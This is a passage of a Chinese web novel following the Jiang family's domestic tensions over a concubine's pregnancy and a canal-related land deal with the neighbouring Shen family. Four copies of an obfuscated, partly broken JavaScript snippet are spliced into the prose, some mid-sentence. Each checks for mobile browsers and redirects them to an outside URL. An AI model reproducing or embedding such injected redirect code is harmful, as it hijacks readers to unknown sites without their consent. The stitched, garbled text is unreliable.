“翠涛直接就跑去了欢喜堂找老太太，”王妈妈皱着眉说道，“连句话都没有先往我们这里递。又不是头天进门的新人，也不知这丫头怎地就成了个这么没规矩的。” 她这话明着是在责翠涛，但屋里的人都听得出来其实说的是康氏。 金大娘子沉吟了片刻，没有多说什么，只语气平静地说了句：“她既然身子不舒服，我也就不去打扰了，待会珠蕊代我前往问一声就是。” 珠蕊恭声应下。 金大娘子在侍女的服侍下净完了手，然后挑了块香雪，一边随手涂抹着，一边不知在想着什么。 过了几息，她忽然对王妈妈说道：“等老爷回来了，你们就把康娘子那边的情况告诉他，请他先过去看看。” 王妈妈和珠蕊等人都愣了一下，不由面面相觑。 “大娘子，”王妈妈忍不住劝道，“您贤惠是好的，可有些事若退让得太多，只怕是要让人得寸进尺啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529297|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那位现在已经有了个儿子，若这胎又是个小公子，瞧着今日这番做派只怕是心也要大了……”王妈妈苦口婆心地道，“便是您不在意老爷的偏宠，可还有大公子和大姑娘呢？” 金大娘子却只道：“我心里有数，你们就这样去做吧。” 言罢她便不再纠缠这个话题，转而去了欢喜堂。 *** 得知消息的蒋黎此时也正在和蒋老太太说着康氏的事。 “您就该差个人去沈家同二嫂嫂说一声。”蒋黎不由有些埋怨起了她的老母亲，“也就是半条巷子的距离，又不是那来不及的。现在却任凭她越过了二嫂嫂来求您帮衬，这算什么？想说她同二嫂嫂在咱们家是一样的，还是说二嫂嫂平日里亏待了她？” 蒋黎越说越有些上火：“二嫂嫂平日里怎么对她的我们又不是不晓得，莫说有意给她脸色瞧或是薄待什么，就是连醋都不曾与她争来喝，她还想如何？想二哥哥将她放在二嫂嫂前头？” 她气愤地道：“我头一个便不答应！” 蒋老太太清了清嗓子，劝道：“哎呀，好了好了，你怎么脾性这么大呢？” 蒋黎不受母亲的劝，坚定地道：“反正若换了我，定是做不到这样，我只当家里没他们这两个人。” 蒋老太太闻言淡淡一笑，意有所指地道：“到时别人就会说，怎么人家的大娘子能容得下旁人，偏你不行？” 蒋黎当即驳道：“那我就要问，怎么我爹爹能做到只有我娘亲一个，你们这些男人不行？” 蒋老太太含着笑，轻抚女儿的头发，须臾，霭声说道：“你爹爹这样的人太少了，连他的儿子都不像他，何况是外头那些男人。将来你嫁了人，要学学你嫂嫂才是，你二哥哥以后就算是再有别人，也绝不会让她们越了她前头去。” “他对你二嫂嫂，心里除了喜欢，还有其他更重要，也更长久的东西。” 蒋黎顿了顿，半晌没有说话。 蒋老太太察觉到她的情绪，又缓缓说道：“你现在啊，就是还在那满怀憧憬，又还不肯服气的时候。我倒不是让你跟着别人去受窝囊气，只是想告诉你如今这世道便是如此，你若容不得旁人，那就要自己立得住。” 这个话题让蒋黎的心情有些低落，良久，她才如喃喃自语地说道：“只不过是求个一心一意，对他们男人就这么难么？” 蒋老太太轻握了握她的肩。 “康氏这回动了胎气是真，咱们本也不能不管她，倘我当时差了人去沈家，只怕又要让外人疑心你二嫂嫂把家里管得严苛。至于旁的，”蒋老太太说道，“也得是你二哥哥自己出面才是最有用。” 蒋黎抬眸朝母亲看去。 蒋老太太就教她：“等你嫂嫂回来了，定会先到我这里来。” 蒋黎有些愕然：“不是要先去康娘子那里看看么？” 蒋老太太笑着摇了摇头：“你二嫂嫂啊，她做的不是你二哥哥的妻子，而是我们蒋家的主母。” 她如此说着，似笑似叹。 42. 相谈 蒋世泽回到巷里的时候已经是深夜了。 他进了门，脚下便熟门熟路地往正院拐，结果刚走到半道就被王妈妈给拦住了。 “今日老爷不在家的时候，康娘子不知怎地动了胎气。”王妈妈道，“当时大娘子正在沈家和唐大娘子说话，回来的时候才知道翠涛已去欢喜堂秉了老太太派人请大夫来。大娘子想着康娘子的肚子要紧，所以着我们等老爷回来了务必急行告知，老爷也好去探望。” 蒋世泽皱着眉听完了她这番话，末了，又看了王妈妈一眼，然后什么也没说，转身便去了桂兰院。 康氏的屋子里已经熄了灯。 院子里守夜的女使看见蒋世泽走进来，忙打起精神迎了上去，不等对方开口已先说道：“娘子今日念了老爷一天，刚刚才歇下。” 她这声有意起得不低，果然话音落下不到片刻，屋里就又重新亮起了灯火。 蒋世泽径直走了上去。 康氏已经从床上坐起来了，正在用手拢头发，翠涛也候在了一旁。 蒋世泽的目光从翠涛身上扫过，然后随着步伐渐近，平静地落在了康氏脸上。 “听说你今日动了胎气。”他走到床前坐下，打量着她的神色，问道，“大夫怎么说？” 康氏犹豫了一下，说道：“也没有说什么，只是道我有些心绪不平，可能是听说了沈家的事，有点被吓到了。” 蒋世泽理解地点了点头：“你尚在孕中，那些血腥气重的事情还是少打听。”说完，又看向了翠涛，语气微沉地道，“康娘子怀着身孕，你们在她面前什么该说什么不该说，心里应当有个谱，难不成还要我来教你们？” 翠涛忙低头应了声知错。 康氏为翠涛求情，柔道：“也不关她们的事，是我自己，怀了孩子后这胆子就小了。” 蒋世泽仍看着翠涛，神色淡淡的，说道：“那你出了事，她不找大娘子禀报，却越过去惊扰了母亲，也不关她的事么？” 康氏一愣。 翠涛的头埋得更低了。 他转过头朝康氏看去，语气很平静：“还是说，你怀了这个孩子之后胆子虽然小了，但心眼儿却变大了？” 康氏陡然一阵心慌。 “我没有。”她也顾不上再去想什么措辞，只忙为自己辩解道，“我只是，只是……也不晓得怎么的，当时心里害怕得很，也没有想那么多。” “你怕什么？”蒋世泽听着这话便蹙起了眉头，“怕大娘子害你？你自进了门哪天受过她半点磋磨？如今第二个孩子都要出世了，你才来说担心她害你。你也不嫌晚了些！” 康氏有些发怔地看着他，一时没能言语。 她自认识蒋世泽以来，还是头一次见他冲自己发脾气。她虽然知道他对自己未必多么用情，可真到了这样的时候，她还是忍不住一阵失落。 能成为蒋世泽的妾室，康氏一直觉得自己是很幸运的。 他不仅有家财，而且人年轻，长得也俊朗，虽不像士家子弟那样读过许多书，可他却一向喜欢读书人喜欢的事，所以言谈举止也并不粗鄙。 这样的男子，若说她没有一点动心是不可能的。 后来进了门，她经过几次小心翼翼地试探后，发现金大娘子瞧着的确是个贤惠好相处的人，心里头那点动心就忍不住有了更大的期许。 想着既然大娘子是与老爷相敬如宾的，那若是老爷能和自己再亲近一些应该也无妨吧？ 然后她就发现，她和蒋世泽的关系根本没有办法再往前走了。 他待她“始终如一”，与她在一起的时候永远都只是想听她弹琴唱曲儿或是吟诗念词之类的，无论是家里还是外头的事，却都不会与她说太多，更不可能在她面前流露出什么情绪，仿佛他的生活完全不需要她这朵解语花来慰藉什么。 她从前学的那些东西在他这里好似也不过只能取个乐子，所以他在她面前也没有带着脾气的时候。 她隐隐意识到不对，于是再细看，就发现了金大娘子在他眼里的不同。 只要金大娘子在，蒋世泽就不会多看她一眼，那不是刻意为之，而是非常自然地瞧不见她。 或者说，并不将她当回事。 她慢慢也就清醒了，不再去多想，安分守己地做着他的妾室。 直到今天，她一不小心越了矩。 康氏怀着孕，今日又受惊折腾了一场，此时此刻自难再维持着往日的温柔懂事，忍不住委屈地道：“沈家的罗娘子一夜之间没了两个孩子，自己也险些进了鬼门关，我当时怕得很，又想着之前为了修哥儿的事惹了大娘子不快活，所以一时慌张才……” 蒋世泽简直听不下去了。 “你以为大娘子是什么人？外头那些心黑歹毒的？就为了这么点事要趁机拿你们母子性命？”他只觉自己平日里大约的确是待康氏太好了，什么样的人会对主母有这种疑心？那自然是觉得主母忌惮她的。 他想到妻子那样一个玲珑剔透人竟被妾室往这等脏事上想，顿时气不打一处来，说道：“有些话我以为你该明白，但现在看来我还是应当说清楚。” “我的家人，我都会尽力照看着，你既给我生了孩子，我自然也不会亏待你。”他说，“但你不必要去想大娘子如何不如何，她的事都与你无关。” “你也不用去想你给我生了两个孩子就能如何，”蒋世泽毫无波澜地看着她，说道，“你是你，孩子是孩子。蒋家既要开枝散叶，不是你生也能是别人，但所有的孩子都应当明白孝敬长辈的道理，将来你生的孩子若不孝敬大娘子，那也就别想要与修哥儿做兄弟了。” 康氏蓦地一震。 但蒋世泽说完这番话便收回了目光，不再去多看她，只转而看向了早已把头低得不能再低的翠涛，吩咐道：“好生照看着你家娘子，若再有什么事，腿脚也需得像今日这般快着。” 但去的地方自然不能再是欢喜堂。 康氏和翠涛都心知肚明。 “是。”翠涛忙恭声应下，不敢多言语。 蒋世泽就又对康氏道了句：“你身子不好，早些歇着吧。” 然后也不待她开口，他便起身径自走出了屋子。 *** 蒋世泽当夜宿在了外院书室。 次日一早，他起床刚盥漱完正在更衣，就见小厮端了碗糖豆粥和一碟子千层儿进来。 “老爷，”厮儿笑着禀道，“这是大娘子让厨房做了送来的。” 蒋世泽闻着香气就已弯了弯唇角。 他也没有说什么，直接走到桌前坐下开始吃了起来。 用完早饭后，蒋世泽便出门去了沈家。 沈庆宗正在家里等着他。 他知道蒋世泽昨日一早就去了鹤丘直到深夜才回，便料定对方今天会来找他们商谈后续，果然，他和二弟方在书室里坐下不一会儿，下人就禀报说蒋老爷来了。 蒋世泽走进来的时候脸上看不出什么情绪，高兴自然不是，但要说担忧或是焦虑，沈庆宗觉得也算不上。 但对方这样可称之为镇定的姿态，却多少让他松了口气。 蒋世泽落座后，还是先委婉关心了一下刚夭折了两个孩子的沈庆宗，后者叹息地表示谢过，又客套了两句，这才入了正题。 “我昨日去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529298|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鹤丘已先将建房之事停了下来，看过那边情况之后又仔细想了想，”蒋世泽道，“仲德兄之前说的是对的，这块地现在确实做不了什么别的事。但若想拿去卖了也不容易，如今朝廷要改运河路线，这个时候卖地，有点消息路子的都能看得出来咱们是急于脱手，出的价只会比市价更低。” “我的建议是，这块地就这么先放着。等朝廷重新定了选址，我们再斟酌看看是不是有更好的机会，便是要卖，那时候应该也好谈些。” 沈庆宗转头朝二弟看去，后者的眼神告诉他，蒋世泽这个办法严格说来虽然并不是什么办法，但却的确是现下最妥当的处置。 但问题是，他们沈家等不起。 何况这里头还有余录事的一成钱本呢！这件事蒋世泽不知道，他也没法说。 沈庆宗蹙了蹙眉，正要豁出情面开口，却听蒋世泽又说道：“但若两位不同意，我也可以先把你们出的那四成钱本退回来，只当是我把那部分地皮也买了。” 沈庆宗一愣，他没有想到蒋世泽竟然这么爽快，肯愿意把整个烫手山芋接过去。 沈耀宗也是大感意外。 沈庆宗不免半信半疑，试探地问道：“这样不合适吧？怎好让你一人负担？” 沈耀宗也问道：“若是拖的时间久了，你又怎么办？” 蒋世泽笑了笑，说道：“仲德兄应该明白，这做买卖，盈利的时候大家是最和气的，但若有了亏损，难免意见不同会有龃龉。我也不怕坦诚与两位直言，我这么做纯粹是不想为此影响两家情谊，或者你们把我那六成买走也行。反正嘛，我是觉得稳一稳再出手比较好，若是拖的久了，我就想个法子便宜先赁给人用着，等合适了再脱手。实在不行就当是为孩子们多留了笔成家财，也没有什么舍不得的，反正地嘛，放在那里也不怕虫蛀。” 赁给人？那是块“咸卤之地”，赁给人只怕人家还嫌弃呢。 直到沈庆宗听到对方最后一句，心下才不得不感慨：蒋家的确是有底气。 蒋世泽既已将话说到了这个份上，他也就不再客气了，能够让自家脱困还本的机会他自是求之不得，若早知能有这个结果，他也不会丢了两个孩子。 思及此，沈庆宗心下不由涌上了一阵迟来的懊悔。 还好，罗氏生的不是儿子。他只能这般想着。 随即他不免又想：钱本虽然是拿回来了，可利钱自家还是亏了的，说来蒋世泽这个出价也是有些差强人意。 “二郎既这样说，那为兄也就不再与你客气了。”沈庆宗道，“你那六成本我们自然是买不起的，只好劳烦你了。” 蒋世泽抬了抬手，示意对方不必客气，说道：“那伯敬兄看什么时候请牙人来方便？我都可以。” 沈庆宗不可能在家里待太久，况且这件事自然是办得越快越好，只有双方在牙人的见证下签订了契约，他也才能真正放心。 他没有时间再在蒋世泽面前摆姿态，顿了顿，却是说了句好似无关的话。 “说来，这次出了事之后，我一直觉得很是对不起云娘。”沈庆宗道，“她是女孩家，又不像她的兄长们还能奔一奔前程，我原想着将来能让她嫁得风风光光便好，谁知……” 蒋世泽和沈耀宗两人俱是微微一怔。 却见沈庆又微笑了一笑，看向蒋世泽，说道：“你们家孩子也是好的，幸好这次不曾连累到。”又状若无意地问道，“对了，你可有想过日后给你们修哥儿娶个怎么样的媳妇？” 他话音落下，旁边的沈耀宗已霎时面露诧色。 蒋世泽与他目光相迎，少顷，眸光微垂，轻轻弯了弯唇角。 43. 计远 金大娘子看见蒋黎笑嘻嘻地端了碟菜进来，便笑着道：“我们四姑娘看来是找着兴趣了。” 蒋黎自定亲后便一直在为了出嫁的事做准备，学厨也成了其中一项，为此还引了些趣事出来。 当初蒋老太太为了给女儿找个好师傅，还专门花大价钱请到了以前在公主府上服侍的厨娘，结果人来了之后一问，发现竟是个什么菜都不会做的。 彼时老太太大感诧异：“那你在公主府的厨房里做什么？” 人家就端端答道：“摘葱。” 当时蒋黎一下子就笑出来了。 她后来还同母亲和嫂嫂开玩笑，说：“早知有钱人家的工钱这么好拿，我也去帮人摘葱了。” 金大娘子也忍不住笑。 说来她们也算是涨了一番见识，原来有些达官贵人的家里日常也竟是这样的排场，但这样的人蒋家自然是不会留用的，所以她们又把对方给请了回去。 事后蒋世泽知道了，也只是很平淡地说了句：“他们的钱来得轻易，自是愿意于无用处铺张。” 后来他就让蒋黎直接跟着家里的厨娘学，等出嫁的时候也会再挑两个厨娘陪着她去，免得她吃不惯郑家厨房的饭菜。 蒋黎今日拿过来的是一碟蜜炙鹌子，做起来也是有些费时费工夫的。 金大娘子尝了口，点点头赞道：“不错。” 蒋黎颇有成就感，说道：“那这些留着等娇娇待会下了课吃。”她说着，还专门把菜放到了温盘里。 蒋世泽正好在这时回来了。 蒋黎就起身招呼她二哥哥：“快来尝尝我新做的蜜炙鹌子，嫂嫂说好吃。” 蒋世泽往几上看了一眼，说道：“这个色泽还需长进。” 他是见惯也吃惯了好东西的人，蒋黎在自己兄长面前没啥可不服气的，只能略感遗憾地应了声：“哦，知道了。”她也不想杵在这里妨碍人家，便道，“那你们聊，我去三嫂嫂那里送菜。” 蒋黎走后，金大娘子便屏退了左右，举步向丈夫迎去，口中问道：“待会还出门么？” 蒋世泽点了点头：“午后出去，沈家的那笔钱我今日要准备好了给沈家兄弟。” 金大娘子微感意外，忖道：“那块地官人是想到别的用处了？” 蒋世泽笑了笑，伸手牵过妻子的手，相携着走到了炕边坐下。 “我昨日去鹤丘，除了是暂停工事之外，也是想再确认一下周边情况。”他说，“当初定下那块地的时候我曾仔细看过，附近确实是有条河道，倘若朝廷要动工开挖运河，肯定是要用上的，虽可能比起那些邻水之地会稍微远些，但只要有了行商就不怕无人用。而且那块地是咸卤之地，价格也不高，我们犯不着去和别人争那些好地段，那样投入也更大。” “再有，”蒋世泽沉吟道，“我当时也想过，万一沈伯敬的消息有误，那块地我若使把力，可能也还可救一救。只是咱们家的负担就会略重些了。” 金大娘子想了想，问道：“官人是想把那条河道用起来？” 蒋世泽笑着捏了捏她的下巴：“知我者，莲华也。” “我若能把那块地变成淤地，它自然身价也就变了。”他说，“但这个风险我敢冒，沈家却不敢，我今日才说让他等一等时机，他已慌得不行。” “以后若真有什么意外，只怕人家要怨死我们家。所以我就索性直接把沈家那四成份额给买了，若非看在邻里情面，我也不会出这个价。” 若是以他对外的手段，这种时候自然是要往低价压的，毕竟自己之后的投入还有许多，而且做买卖这种事本就但凭个人，他亏了也没人给他兜底啊，他没有那个义务送钱给沈家。但蒋、沈两家毕竟是近邻，沈庆宗自己是官户，两个儿子瞧着也挺争气，说不定这家以后还能有远处的前程，他此时松松手也没有坏处，所以就决定按照对方投的钱本来买。 结果没想到，沈庆宗倒是比他以为的更亏不起。 蒋世泽思及此，顿了顿，迎着妻子的目光说道：“有件事我还是要同你说一说。” 金大娘子就等着他开口。 他清了清嗓子，还是有点觉得不好说：“我本想着事情也没定，其实瞒着你比较好，但想到要瞒着你，我这心里头又猫抓似的，实难安定。” 金大娘子看他如此纠结，便微笑了笑，说道：“官人既不想瞒着我，那就尽管说来听听。” 蒋世泽就说了句什么。 金大娘子没听清：“嗯？” “我说……”蒋世泽小心地看着她的眼睛，“我帮我们修哥儿定了半个娃娃亲。” 金大娘子：“……” 蒋世泽忙又解释道：“你莫生气，我是想着这么好的机会，既然沈家自己开口送上门来了，那咱们家脸面上就已经占了上风。再说大家并未挑明，所以也没有正式定下，我也同沈伯敬表了态，还是要等孩子们大些再议，毕竟他那两个儿子的前程都没定下呢。” 其实他的原话也是一番委婉暗示，意思也就是说他自然愿意给儿子求娶沈云如，但前提得是先看到她兄弟们的出息。 沈庆宗也知道现在这时候轮不到自家拿乔，大家都不是傻子，他也只能顺着应下。 两边就相当于有了个默契，虽不挑明，但却要把孩子们留到合适的年纪再议。 所以蒋世泽才会说这是半个娃娃亲。 “我也不想被他们家以后拿着这事说嘴，”他说，“所以后来又在这个地价上多许了一成给他。” 金大娘子没有说话。 蒋世泽轻轻握住了她的手，说道：“我也是为修哥儿好，那沈家两个哥儿将来若是有出息的，只怕等着娶他们姐妹的人只多不少，能有这样的妻家帮衬以后儿子的路也好走些。” 他顿了顿，又说道：“说得再实在些，眼下既有个不错的选择，我为修哥儿留一留也好，万一他……你也知道，应举这条路不是那么好走的。” 金大娘子明白他的意思，若到了那个时候，那就是儿子拿去给别人挑了。 她知道丈夫对两个孩子婚事的希望一向是儿子娶士家女，女儿嫁士大夫，寻常人家在他看来也是亏待了自家孩子。 蒋世泽又温柔地劝道：“反正现在也不是真地定下，我也没打算勉强修哥儿去讨好那沈家小娘子。我和沈伯敬是有共识的，今后孩子们该怎么相处还是怎么处，等大了再说就是。” 他既说到了这个程度，金大娘子也没什么能再多言的，只能点了点头。 *** 沈庆宗经过了这回的事，也算是深刻地体会了一次蒋家的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529299|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 富有，还有蒋世泽的大方。 他觉得给女儿选下这门亲事的决定果然还是对的。 唐大娘子得知蒋世泽帮自家渡过了难关，又晓得对方也默认了儿女婚事约定之后，一时心情不免有些复杂。 “那这事要不要和阿姑说？”她试探地问丈夫。 他们既然答应了要把女儿留着和蒋修议亲，就得防着老太太那里中间弄出什么枝节来，以老人家的脾气，这事若等拖到不能拖的时候再说出来，只怕是要闹出些风雨。 沈庆宗也是比较烦这个事。 “我仔细想过了，”他说，“这事还是暂时不要告诉母亲，我也已叮嘱了仲德。” “现在本就只是两边家里有个默契，”沈庆宗道，“但娘那个人凡事容易看得认真，万一现在说了，她以后瞧蒋家就拿姻亲的眼光去瞧，也是不太好。” 至少在儿子成才之前，他还是要尽量避免和蒋家起什么矛盾。 唐大娘子道：“那万一娘对掌珠的事自己有了主意呢？” “那也得看到时候的情况。”沈庆宗说道，“好在娘一向不管事，不知道外头那些事的深浅，要哄哄她老人家也不是不行的。” 唐大娘子没再说什么。 沈庆宗却想了想，说道：“我明天早上就回鹤丘，晚些还是让缙哥儿回来一趟，我与他交代几句。” 唐大娘子估计他是为了家里这回出的事情，想着长子也确实到了该为父亲分忧助力的年纪，便点点头，即吩咐人去了。 沈缙从学里回来其实并不远，但因为沈庆宗想让他多把时间和精力放在治学上头，所以往日里不到放旬假的时候，他遵循父亲的意思一般也不会回来。 他也是得到家里的消息之后，才知道罗娘子产女夭折，父亲也从鹤丘回来已经两天了。 沈缙直觉有事，连忙赶回了家。 他去到外院书室，恭恭敬敬地拜见了父亲。 “你今年就要下场了，也是到了能帮着为父顶立门户的时候。”沈庆宗几分感慨并几分郑重地说道，“家里的事你也该心里有个数，莫要还和从前一样事事天真。” 沈缙恭声应是。 沈庆宗就唤了他到自己身边坐下，然后大致将家里因为外头产业的缘故遇到了难关，随后得到蒋家帮助，自己和蒋世泽默许了儿女婚约的事说了一遍。 沈缙听得有些发愣。 “所以现下你该明白了，一个人身处在什么位置有多重要。”沈庆宗道，“你若像那谢夫子，那这辈子也只能在市井里头打转，事事听天由命。但若你能站到朝中——甚至是政事堂的高处，你就有机会为自己争，为家里争，为你的子嗣去争。” “你妹妹今日这桩婚约我们家是处了下风的，往后那腰杆能不能挺得直，大半都要取决于你们。你若成了，蒋家自也不敢小瞧我们，甚至再议这婚约也不是不能。” 沈庆宗语重心长地缓缓说道：“所以，从此时此刻起，你务必打起十二分精神，全力以赴。” 沈缙听着父亲一句句重如泰山的话，只觉连呼吸都不由地屏住了。 他不由攥了攥掌心，紧张与期待之下，胸中忽涌起了阵前所未有的激动之意。 “是。”沈缙向着他父亲端端一礼，郑重地道，“孩儿明白。” 44. 路转 四月刚入，鹤丘县衙就又收到了中书门下的公函。 沈庆宗趁着休沐日，急匆匆地赶回了京城，直奔武学巷余宅。 “……我也才比你早知道没多久。”余录事说起来还颇有些感慨，“谁能晓得还会有这般峰回路转？” 他摇摇头笑笑，半是感叹又半是宽慰对方地道：“看来你我确然也不是那做买卖的材料，经不得风吹草动。” 余录事也已经从沈家那里拿回了自己的钱本，原本沈庆宗还要多补贴他一些，他却坚持未受，觉得在这样的情况下自己还能一分不损已经很是不错了。 所以现在他知道了运河将要如期动工的事，虽然多少有些遗憾和后悔，倒也能想得开。 但沈庆宗此时却觉得心里郁闷地好像都要被石头给压塌了。 “官家怎么又突然改了主意呢？”他实在想不通，“谏院那边也不说什么了？” 余录事就把自己后来得知的一些枝节告诉了他：“听说是度支判官给想了个办法，说是现在畿县附近还残存着一些前朝留下的渠堰，可以在修筑运河的同时沿线进行些必要的修复，将途径处的咸卤之地灌溉后改为淤地，如此良田也就有了，还可减少迁移居民的花费。” “陶判官还照此算出来了所需开销，果然比之前少了许多。”余录事说着，言语间也不免透着欣赏，“他还说修筑运河功在社稷千秋，若是能为百姓谋更多福祉，眼下这点付出也不算什么。谏院的人自然再没有什么话说，官家也很是认同，所以当场就应允了，并着令即刻筹备动工。” 难怪中书门下的公函来得这样快。 沈庆宗有些恍惚。 度支判官。 陶判官。 陶若谷…… 陶宜！ 他万万想不到最后这一笔的命运竟然是掌握在那人的手里。 沈庆宗后来也不记得他这个老师又说了些什么，直到回到家里，整个人都还有些发懵。 他把沈耀宗找了过来。 后者起先乍见兄长难看的脸色，还以为是又出了什么事，等从对方口中得知运河将按照原计划如期修建的时候，他先是下意识松了口气，然后反应过来，也不免觉得有些可惜。 “早知我们就再等等了。”沈耀宗叹惋地道，“不过也是没有办法的事。”又安慰兄长道，“这有钱难买早知道，大哥哥当时想得本也没有错，我们家毕竟是拖不起的，早些退出来也好。” 沈庆宗回想着过去半个多月来，自己像个无头苍蝇似地做出的那些决定，若不是当着弟弟的面，他觉得自己几乎能呕出血来。 他之前觉得蒋世泽多给自己补的那一成已经很好了，他还拿着这钱转身想去余录事那里再卖个人情，结果没想到现实转眼就这样打了他的脸。 好？ 好个屁！ 他缓缓舒了一口气。 “蒋家这回运气倒是不错。”他说的很平静，可只有自己才知道这话里有多少酸涩。 沈耀宗没想那么多，但也有点羡慕，说道：“是啊，要不说蒋老弟有远见呢。估计他这会儿若知道了消息，肯定要欣喜若狂了。” 沈庆宗没有说话，心里却忍不住想：看来像他们这样的人家，还是只能自己站得高一些才好啊！ *** 新运河将要正式动工挖掘，这个消息在各县衙门收到公函后不到两天，便已差不多在外头传遍了。 这日蒋世泽回来的时候，就买了一大堆东西给家里人分发礼物。 儿女们自然都有，康氏那边他也差人去送了，最后还亲自拿着给母亲的那份去了欢喜堂。 金大娘子和蒋黎也都在，她们正陪着老太太在饮茶闲话。 蒋老太太笑纳了儿子送的钿屏，问道：“又不是逢年过节的，你今日怎么想起来送礼物了？” 蒋世泽满脸都写着心情很好四个字，难得地玩笑般道：“娘不如猜一猜？” 金大娘子看了看丈夫的神色，隐隐有些了然，微笑地垂下了眸。 蒋老太太就瞧出来了，笑着说道：“你们夫妻两个平日里说的私话又不曾告诉我老婆子，我哪里能猜得到你高兴什么？不如让莲华来猜猜。” 蒋黎却在旁边起哄道：“二哥哥，你怎么只送给娘，没有二嫂嫂和我的份儿？” 蒋世泽道：“大家都有，你那份等你出嫁前我再给你添妆进去。”然后看了眼妻子，说道，“你嫂嫂那个我晚些给她。” 大家都听得出来，他这是打算夫妻独处时再亲自送。 蒋老太太就故意打趣道：“你还挺讲情趣。” 金大娘子不免有些赧然。 蒋黎好奇地问道：“既是添妆，难不成你还要送我个大的？”见兄长一副笑而不语的样子，她也调侃道，“看来二哥哥这回心情果然是很不错，怕是遇到了天上掉钱的好事。” 蒋世泽笑着道：“也差不多了。” 直到了此时，他才把之前运河选址出了问题，再到今天又忽然峰回路转的事都一一说了出来。 “我前些日子才趁价低刚把旁边那块地也收了，”他说，“正盘算着修复了附近渠堰一并改成淤地呢，没成想朝廷就来出了头。” 蒋世泽就果断地决定原来那地方继续修建塌房，而新收的这块地因为距离渠堰更近，所以他准备等着引水做淤地。 蒋世泽道：“虽不知朝廷为何又改了主意，官家的心思我们老百姓也摸不着，但总归咱们家是赶上了趟。” 金大娘子也为他高兴：“这样的确是免了我们家不少难处。” 蒋黎想到什么，忍不住笑道：“那沈主簿是不是要悔青肠子了？” 大家都含蓄地弯了弯唇角。 “反正二郎该给他们家的一样也没少给，早前也不是没让他们等过。”蒋老太太一本正经地说道，“现下也没什么可多说的。” 蒋黎点了点头，然后看了眼她二哥，笑道：“不过二哥哥肯定没有跟沈主簿说他打算改那块地。” 若是说了，沈家可能就不会退本了。 蒋世泽不以为意地道：“我怎可能让人家来拿捏我。” 他若说了，以沈家那样怕亏的心情，大约就只有两个结果：要么沈家不肯再投钱但却催着他改地，要么就是沈庆宗反过来说要把地卖给他，但那个时候的价格却就不是他占主动了。 蒋黎给她二哥哥竖了个大拇指。 这时，蒋娇娇忽然从外面跑了进来，她手里头还拿着柄绣了几只猫儿的扇子，一进门就高高兴兴地往她爹怀里扑。 蒋世泽一下子就把女儿抱了起来。 “爹爹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529300|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，这个好可爱！”她说。 蒋娇娇其实挺喜欢猫的，但因为长辈们，尤其是父亲担心猫爪子伤着她，所以在这件事上一直不肯松嘴，她慢慢地也就绝了念头，今日爹爹送了她绣了猫儿的扇子，她高兴之余觉得也挺满足。 蒋世泽笑着捏了捏女儿的脸，说道：“我们娇娇更可爱。” 蒋娇娇从小就被家里人捏习惯了，也不躲，一双眼睛大大方方瞧着她爹爹，问道：“爹，有没有什么东西是能绣猪的？” 大人们闻言不免感到莫名其妙。 “谁会在那些绸缎上面绣猪啊？”蒋黎道，“你最近是又瞧了什么，竟生出这样的喜好来。” 蒋娇娇就道：“不是我用的，是男孩子用的。”她对蒋世泽道，“谢暎下个月要过生日了，我本来是打算请他吃猪的，但他还没有出孝。” 众人恍然，然后纷纷笑了起来。 蒋老太太更是被孙女逗得笑出了泪花：“好好好，如此倒也确实算送了人家猪了。”说完想了想，对儿子说道，“谢家小郎的生辰正好是五月五，要不就让娇娇送个道理袋给人家好了。” 蒋世泽有些忍笑不得：“娘，道理袋哪有在上面绣猪的，本就是要提醒口舌修养的寓意，再绣只猪在上头，人家不知道的还以为娇娇是让谢小郎做只木讷猪呢。” 蒋娇娇立刻点头道：“那样不好。” 她才不想骂谢暎是猪呢。 蒋黎也帮着出主意：“其实也简单啊，到时就弄些做成小猪形状的白团，让娇娇给人家送过去不就好了。” 其他人都觉得不错。 蒋娇娇也很高兴：“那我就送他猪团子去！” 蒋世泽笑着摸了摸她的头。 *** 五月初五，晨。 